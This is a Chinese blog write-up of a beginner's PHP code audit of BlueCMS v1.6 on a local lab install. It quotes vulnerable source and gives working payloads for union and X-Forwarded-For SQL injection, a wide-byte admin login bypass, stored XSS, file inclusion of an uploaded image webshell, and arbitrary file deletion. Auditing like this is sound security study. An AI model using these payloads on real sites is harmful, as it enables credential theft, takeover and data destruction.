代码审计:BlueCMSv1.6

前言

萌新刚开始学习PHP代码审计,选了个简单的练手CMS

本章使用BlueCMS v1.6作为代码审计

环境为 Win7 + PHPstudy

安装

1.把下好的BlueCMS源码文件bluecms_src放到phpStudyWWW目录下

2.访问本地:http://localhost/bluecms_src/, 能看到项目文件

3.访问地址:http://localhost/bluecms_src/uploads/install/ 就会进入到安装界面,按照提示配置好参数,注意数据库用户名和密码要与你的mysql匹配

4.再访问:http://localhost/bluecms_src/uploads/,可以看到已经安装好了

漏洞

我们使用Seay源代码审计系统自动审计下,我们可以发现有很多漏洞,我们追溯分析查看

image-20230725145359228

1、SQL注入:前台Union注入

漏洞点: ad_js.php

seay审计选中可能存在注入点,就能直接定位到位置

image-20230725150103076

1
2
3
require_once dirname(__FILE__) . '/include/common.inc.php';
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

文件引用了/include/common.inc.php ,跳转过去看看

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

这段代码是如果说php在没有开启get_magic_quotes_gpc的情况下,就将POST,GET,COOKIE,REQUEST传递的参数全部用deep_addslashes函数处理一遍。

追踪下deep_addslashes()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}

deep_addslashes对传入的数组进行递归地添加转义斜杠,如果不为数组则调用本身的addslashes进行过滤

回到注入点继续分析, $ad_id 没有使用单引号双引号包括,所以addslashes()函数不起作用

1
2
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

getone() 是自定义函数,getone() 方法位于 /include/mysql.class.php 第61行

1
2
3
4
5
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}

代码作用是执行SQL语句并返回第一条结果

传入的参数$ad_id 先判断是否为空,不为空使用trim 去除首位空格,没有过滤直接带入数据库执行,所以存在SQL注入,在 ad_js.php 最后一行将结果输出到了html代码注释中

1
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#判断注入点
ad_js.php?ad_id=1 and 1=1 #正常
ad_js.php?ad_id=1 and 1=j #报错

#判断字段长度
ad_js.php?ad_id=1 order by 7 #正常
ad_js.php?ad_id=1 order by 8 #报错
···
字段数为7
···

#判断回显位
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7
···
页面回显空白,查看源代码可以发现回显了个7,所以回显位为第七位
<!--
document.write("7");
-->

#获取库名
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
···
bluecms
···

#获取表名
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
···
<!--
document.write("blue_ad,blue_ad_phone,blue_admin,blue_admin_log,blue_ann,blue_ann_cat,blue_arc_cat,blue_area,blue_article,blue_attachment,blue_buy_record,blue_card_order,blue_card_type,blue_category,blue_comment,blue_config,blue_flash_image,blue_guest_book,blue_ipbanned,blue_link,blue_model,blue_navigate,blue_pay,blue_post,blue_post_att,blue_post_pic,blue_service,blue_task,blue_user");
-->
···

#获取blue_admin字段名
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
'''
这里需要将blue_admin转为十六进制格式,不然会被转义
<!--
document.write("admin_id,admin_name,email,pwd,purview,add_time,last_login_time,last_login_ip");
-->
···

#查看admin_name和pwd字段信息
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(admin_name,0x3a,pwd) from blue_admin
···
<!--
document.write("admin:202cb962ac59075b964b07152d234b70");
-->
···
得到字段信息
···

2、SQL注入:后台登录万能密码

漏洞点:/admin/login.php

该CMS数据库使用gb2312编码,这有可能导致宽字节注入

image-20230726095954142

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if($act == 'login'){
if($_SESSION['admin_id']){
showmsg('您已登录,不用再次登录', 'index.php');
}
template_assign('current_act', '登录');
$smarty->display('login.htm');
}
elseif($act == 'do_login'){
$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
$remember = isset($_POST) ? intval($_POST['rememberme']) : 0;
if($admin_name == ''){
showmsg('用户名不能为空');
}
if($admin_pwd == ''){
showmsg('用户密码不能为空');
}
if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
setcookie('Blue[admin_name]', $admin_name, time()+86400);
setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
}
}else{
showmsg('您输入的用户名和密码有误');

$admin_name$admin_pwd参数使用isset判断是否存在,如果存在则使用trim去除首末两端空格,不存在则返回空字符串,跟踪check_admin 函数做进一步判断

1
2
3
4
5
6
7
8
9
10
11
12
13
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}

判断num如果大于0则返回true

image-20230725171305688

image-20230725171341565

这里可以在admin处构造万能密码绕过校验

image-20230725171709394

构造payload需要单引号闭合,但是单引号会触发deep_addslashes()函数添加一个反斜杠,这时候由于数据库编码使用的是gb2312,可以构造 %df 进行宽字节注入,我们这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\变成了一个汉字“运”,而 ' 逃逸了出来。

利用
1
admin %df' or 1=1 #

image-20230725172402005

image-20230725172442921

3、SQL注入:后台Union注入

漏洞点: /admin/nav.php

1
2
3
4
5
6
7
8
elseif($act=='edit')
{
$sql = "select * from ".table('navigate')." where navid = ".$_GET['navid'];
$nav = $db->getone($sql);
$smarty->assign('nav',$nav);
$smarty->assign('act', $act );
$smarty->display('nav_info.htm');
}

$_GER['navid']没有过滤直接带入数据库执行,所以存在sql注入

利用
1
2
3
#判断字段长度
nav.php?act=edit&navid=1 order by 6 #正常
nav.php?act=edit&navid=1 order by 7 #报错

判断回显位置

1
nav.php?act=edit&navid=-1 union select 1,2,3,4,5,6

image-20230725174040632

获取用户名、库名、版本信息

1
nav.php?act=edit&navid=-1 union select 1,user(),database(),4,version(),6

image-20230725174339069

获取表名

1
2
3
nav.php?act=edit&navid=-1 union select 1,2,group_concat(table_name),4,version(),6  from information_schema.tables where table_schema=database()


image-20230725174933732

获取字段名称

1
nav.php?act=edit&navid=-1 union select 1,2,group_concat(column_name),4,version(),6  from information_schema.columns where table_name=0x626c75655f61646d696e

image-20230725175045971

获取admin_name和pwd字段信息

1
nav.php?act=edit&navid=-1 union select 1,admin_name,pwd,4,version(),6  from blue_admin

image-20230725175322107

4、XSS:后台新闻发布处存储型

漏洞点:/user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
elseif ($act == 'do_add_news') {
include_once 'include/upload.class.php';
$image = new upload();
$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';
$color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';
$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
if(empty($cid)){
showmsg('新闻分类不能为空');
}
$author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];
$source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);
if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){
$lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');
}
$lit_pic = empty($lit_pic) ? '' : $lit_pic;

在新闻发布处,content 字段未使用 htmlspecialchars 而是使用 filter_data 进行处理,我们跟踪 filter_data 函数分析

1
2
3
4
5
6
7
//在 "/include/common.fun.php" 找到函数定义代码

function filter_data($str)
{
$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
return $str;
}

函数只过滤了script,iframe,frame,meta,link 等,这里可以使用img标签绕过

利用

image-20230726102208775

image-20230726102232882

5、文件包含

漏洞点:user.php

user.php 的支付功能,可以通过 $_POST[‘pay’] 控制文件包含的路径,但是后面拼接了 /index.php

1
2
3
4
5
6
7
8
9
10
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}

有两种方式可以截断

绕过方法1:%00 截断

条件:magic_quotes_gpc = Off,PHP版本<5.3.4

绕过方法2:路径长度截断

条件:windows 下目录路径最大长度为256字节,超出部分将丢弃;linux 下目录最大长度为4096字节,超出长度将丢弃;PHP版本<5.2.8

利用

由于我php版本为5.6.27,这里降级到5.2.17做测试,测试中%00截断不知道为什么无法利用(满足使用条件),使用路径长度截断

构造payload进行包含

image-20230726110416576

在个人头像处构造图片马上传

image-20230726110914400

image-20230726110935351

包含图片马

image-20230726111001230

这里可以使用fput写一个马进去,文件包含后生成新马用webshell工具管理更方便

6、SQL注入:XFF头注入

漏洞点:/include/common.fun.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

getip() 获取的XFF头中的IP直接返回 $ip 这里跟踪下看看那个地方调用了 getip()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
elseif($act == 'send')
{
if(empty($id))
{
return false;
}

$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$mood = intval($_POST['mood']);
$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';
$content = nl2br($content);
$type = intval($_POST['type']);
if(empty($content))
{
showmsg('评论内容不能为空');
}
if($_CFG['comment_is_check'] == 0)
{
$is_check = 1;
}
else
{
$is_check = 0;
}

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
if($type == 1)
{
$db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id);
}
elseif($type == 0)
{
$db->query("UPDATE ".table('post')." SET comment = comment+1 WHERE post_id = ".$id);
}
if($_CFG['comment_is_check'] == 1)
{
showmsg('请稍候,您的评论正在审核当中...','comment.php?id='.$id.'&type='.$type);
}
else
{
showmsg('发布评论成功','comment.php?id='.$id.'&type='.$type);
}
}

comment.php 中直接将 getip() 插入数据库语句中,没有过滤就执行了,这里存在sql注入

首先需要构造闭合将第一次插入的IP和is_check补全,然后构造二次插入,要闭合原本语句的单引号

利用
1
2
3
4
5
6
7
8
//payload
//原始语句
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '6', '1', '2', '1', 'qwe', '1', '127.0.0.1', '1');

//构造的payload最终在数据中的效果
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '6', '0', '1', '1', 'asd','1', '1','1'),('', '6','0','1','6',(database()),'127.0.0.1','1');

127.0.0.1','1'),('', '6','0','1','6',(database()),'127.0.0.1','1

burp抓包修改

image-20230726153635061

image-20230726153741832

image-20230726153812695

可以看到 content 为回显位,构造payload即可

1
2
//获取库名为bluecms
127.0.0.1','1'),('', '6','0','1','6',(database()),'127.0.0.1','1

image-20230726154042529

1
2
//获取表名
127.0.0.1','1'),('', '6','0','1','6',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'127.0.0.1','1

image-20230726154405023

1
2
//获取字段名
127.0.0.1','1'),('', '6','0','1','6',(select group_concat(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e),'127.0.0.1','1

image-20230726154808924

1
2
//获取admin字段信息
127.0.0.1','1'),('', '6','0','1','6',(select group_concat(admin_name,0x3a, pwd) from blue_admin),'127.0.0.1','1

image-20230726155024940

7、任意文件删除

漏洞点: user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
elseif($act == 'edit_user_info'){
$user_id = intval($_SESSION['user_id']);
if(empty($user_id)){
return false;
}
$birthday = trim($_POST['birthday']);
$sex = intval($_POST['sex']);
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
$home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

if (!empty($_POST['face_pic1'])){
if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
showmsg('只支持本站相对路径地址');
}
else{
$face_pic = trim($_POST['face_pic1']);
}
}else{
if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
@unlink(BLUE_ROOT.$_POST['face_pic3']);
}
}

edit_user_info 更新个人信息中,直接调用 unlink 函数删除 $_POST['face_pic3'],没有进行相应的检查,导致任意文件删除漏洞

访问 user.php 并且抓包修改act=edit_user_info ,post添加 face_pic3 成功删除根目录下的flag.txt

image-20230726161909476

总结

第一次做CMS代码审计,感觉这套CMS还有很多洞,但是这里没有继续深挖了,自己对PHP的知识还是有点不够,有些代码逻辑还得问问神奇的GPT,之前的PHP知识并不足以支持我审计一套CMS,还得继续学习下PHP相关的知识